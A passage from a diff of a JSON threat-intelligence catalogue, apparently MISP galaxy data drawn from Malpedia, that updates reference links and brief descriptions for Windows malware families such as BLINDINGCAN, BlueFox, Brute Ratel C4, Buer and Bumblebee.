"https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan", - "https://www.hvs-consulting.de/lazarus-report/", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", "https://www.sentinelone.com/blog/the-blindingcan-rat-and-malicious-north-korean-activity/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", "https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a" + "https://www.hvs-consulting.de/lazarus-report/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "DRATzarus RAT" @@ -15048,8 +15997,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad", "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", - "https://content.fireeye.com/apt/rpt-apt38", - "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html" + "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html", + "https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [], "type": [] @@ -15062,20 +16012,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://elastic.github.io/security-research/malware/2022/05/02.blister/article/", - "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", + "https://redcanary.com/blog/intelligence-insights-january-2022/", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://elastic.github.io/security-research/malware/2022/05/02.blister/article/", "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/", "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/", - "https://redcanary.com/blog/intelligence-insights-january-2022/" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [ "COLORFAKE" @@ -15099,13 +16049,42 @@ "uuid": "ecdc0a43-8845-4dc4-a3f0-de2f0142aa4d", "value": "BloodyStealer" }, + { + "description": "BlueFox is a .NET infostealer sold on forums as a Maware-as-a-Service. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber and loader capabilities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluefox", + "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/", + "https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f9f5d767-3460-49f3-94c2-5dd91b341505", + "value": "BlueFox" + }, + { + "description": "Mandiant associates this with UNC4191, this malware is a launcher for NCAT to establish a reverse tunnel.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3dcfef7b-d657-4ac5-b738-ef793237274b", + "value": "BLUEHAZE" + }, { "description": "Ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky", "https://unit42.paloaltonetworks.com/bluesky-ransomware/", - "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/" + "https://yoroi.company/research/dissecting-bluesky-ransomware-payload/", + "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", + "https://cloudsek.com/technical-analysis-of-bluesky-ransomware/" ], "synonyms": [], "type": [] @@ -15118,8 +16097,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluether", - "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf" + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", + "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf" ], "synonyms": [ "CAPGELD" @@ -15134,12 +16113,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer", - "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", "https://twitter.com/GoSecure_Inc/status/1437435265350397957", - "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer", - "https://decoded.avast.io/anhho/blustealer/", "https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" + "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://decoded.avast.io/anhho/blustealer/", + "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer" ], "synonyms": [ "a310logger" @@ -15180,6 +16159,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bobik", + "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/", "https://decoded.avast.io/martinchlumecky/bobik/" ], "synonyms": [], @@ -15200,6 +16180,20 @@ "uuid": "444ca9d1-7128-40fa-9665-654194dfbe0b", "value": "Bohmini" }, + { + "description": "According to Mandiant, this malware family is attributed to potential chinese background and its Linux variant is related to exploitation of Fortinet's SSL-VPN (CVE-2022-42475).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove", + "https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw", + "https://thehackernews.com/2023/01/new-chinese-malware-spotted-exploiting.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4212b386-b6de-4b06-86f1-ba20b5c01447", + "value": "BOLDMOVE (Windows)" + }, { "description": "", "meta": { @@ -15240,26 +16234,32 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "9ff6e087-6755-447a-b537-8f06c7aa4a85", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1b8cfb29-7a63-459a-bc90-c9ea3634b21c", "value": "Bookworm" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boombox", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e8112e1a-4fda-4857-8df8-0ba7fb5ea1ba", + "value": "BOOMBOX" + }, { "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" ], "synonyms": [], "type": [] @@ -15272,8 +16272,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/" ], "synonyms": [ "MBRkiller" @@ -15323,39 +16323,34 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "52d9a474-fc37-48b5-8e39-4394194b9573", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "80487bca-7629-4cb2-bf5b-993d5568b699", "value": "Bouncer" }, + { + "description": "According to Checkpoint Research, this malware family has the ability to download and upload files, run commands and send the attackers the results. It has been observed being used by threat actor IndigoZebra.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon", + "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5ccb9d4c-bb9b-48ee-9ea3-a64a81eb210f", + "value": "BoxCaon" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok", - "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe", + "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "cff2e174-52b8-4304-903a-012f97d70b7c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f9d0e934-879c-4668-b959-6bf7bdc96f5d", "value": "Bozok" }, @@ -15377,32 +16372,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.us-cert.gov/ncas/alerts/TA18-149A", - "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.secureworks.com/research/threat-profiles/nickel-academy", "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/", - "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://www.us-cert.gov/ncas/alerts/TA18-149A", + "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" ], "synonyms": [ "SORRYBRUTE" ], "type": [] }, - "related": [ - { - "dest-uuid": "4c057ade-6989-11e8-9efd-ab33ed427468", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d97ae60e-612a-4feb-908a-8c4d32e9d763", "value": "Brambul" }, @@ -15485,6 +16471,19 @@ "uuid": "fd4665b8-59b6-427f-a22d-bb3b50e9e176", "value": "BrittleBush" }, + { + "description": "According to Mandiant, BROKEYOLK is a .NET downloader that downloads and executes a file from a hard-coded command and control (C2) server. The malware communicates via SOAP (Simple Object Access Protocol) requests using HTTP.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brokeyolk", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dd19501d-c23e-4a52-8cef-726a8483d6c2", + "value": "BROKEYOLK" + }, { "description": "", "meta": { @@ -15504,37 +16503,57 @@ "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader", - "https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later", - "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/", - "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e1ca79ea-5628-4266-bb36-3892c7126ef4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], - "uuid": "75a03c4f-8a97-4fc0-a69e-b2e73e4564fc", - "value": "BrushaLoader" + "uuid": "33b76b3f-7056-4892-a134-6e984f500c3c", + "value": "Bruh Wiper" }, { "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4", - "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader", + "https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later", + "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html", + "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/" ], "synonyms": [], "type": [] }, + "uuid": "75a03c4f-8a97-4fc0-a69e-b2e73e4564fc", + "value": "BrushaLoader" + }, + { + "description": "Brute Ratel is a a Customized Command and Control Center for Red Team and Adversary Simulation\r\n\r\nSMB and TCP payloads provide functionality to write custom external C2 channels over legitimate websites such as Slack, Discord, Microsoft Teams and more.\r\nBuilt-in debugger to detect EDR userland hooks.\r\nAbility to keep memory artifacts hidden from EDRs and AV.\r\nDirect Windows SYS calls on the fly.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4", + "https://medium.com/walmartglobaltech/brute-ratel-config-decoding-update-7820455022cb", + "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/", + "https://0xdarkvortex.dev/hiding-in-plainsight/", + "https://protectedmo.de/brute.html", + "https://twitter.com/embee_research/status/1580030303950995456?s=20&t=0vfXnrCXaVSX-P-hiSrFwA", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/", + "https://web.archive.org/web/20230216110153/https://yoroi.company/research/hunting-cyber-evil-ratels-from-the-targeted-attacks-to-the-widespread-usage-of-brute-ratel/", + "https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/", + "https://www.youtube.com/watch?v=a7W6rhkpVSM", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities", + "https://blog.spookysec.net/analyzing-brc4-badgers/", + "https://socradar.io/brute-ratel-utilized-by-threat-actors-in-new-ransomware-operations/", + "https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/", + "https://www.splunk.com/en_us/blog/security/deliver-a-strike-by-reversing-a-badger-brute-ratel-detection-and-analysis.html" + ], + "synonyms": [ + "BruteRatel" + ], + "type": [] + }, "uuid": "19e4df44-d469-4903-8999-22d650a21dd7", "value": "Brute Ratel C4" }, @@ -15557,9 +16576,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] @@ -15585,8 +16604,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", - "https://attack.mitre.org/software/S0043/" + "https://attack.mitre.org/software/S0043/", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" ], "synonyms": [], "type": [] @@ -15599,36 +16618,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer", - "https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", - "https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://twitter.com/SophosLabs/status/1321844306970251265", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", - "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", - "https://blog.minerva-labs.com/stopping-buerloader", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://twitter.com/StopMalvertisin/status/1182505434231398401", - "http://www.secureworks.com/research/threat-profiles/gold-symphony", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", - "http://www.secureworks.com/research/threat-profiles/gold-blackburn", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", - "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://blog.group-ib.com/prometheus-tds", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", - "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader", + "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", + "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "http://www.secureworks.com/research/threat-profiles/gold-symphony", + "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", + "https://twitter.com/StopMalvertisin/status/1182505434231398401", + "https://blog.minerva-labs.com/stopping-buerloader", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", + "https://blog.group-ib.com/prometheus-tds", "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/", + "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", + "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html", + "https://twitter.com/SophosLabs/status/1321844306970251265", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust", + "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ @@ -15672,18 +16692,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", + "https://malware-research.org/carbanak-source-code-leaked/", + "https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", + "https://www.scythe.io/library/threatthursday-buhtrap", "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", "https://www.group-ib.com/brochures/gib-buhtrap-report.pdf", "https://www.welivesecurity.com/2019/07/11/buhtrap-zero-day-espionage-campaigns/", - "https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", - "https://www.scythe.io/library/threatthursday-buhtrap", - "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code", - "https://malware-research.org/carbanak-source-code-leaked/", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e498912-44f8-4ea0-ac50-4544f0fedd6c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack", - "https://www.welivesecurity.com/2015/04/09/operation-buhtrap/", - "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/" + "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/", + "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", + "https://www.welivesecurity.com/2015/04/09/operation-buhtrap/" ], "synonyms": [ "Ratopak" @@ -15698,47 +16718,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://www.bleepingcomputer.com/news/security/new-bumblebee-malware-replaces-contis-bazarloader-in-cyberattacks/", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://isc.sans.edu/diary/rss/28636", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/", - "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", - "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", - "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks", - "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://research.openanalysis.net/bumblebee/malware/loader/unpacking/2022/05/12/bumblebee_loader.html", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - 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"https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", - "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan" + "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", + "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/" ], "synonyms": [], "type": [] @@ -15856,37 +16897,46 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper", + "https://www.nioguard.com/2022/03/analysis-of-caddywiper.html", + "https://twitter.com/silascutler/status/1513870210398363651", + 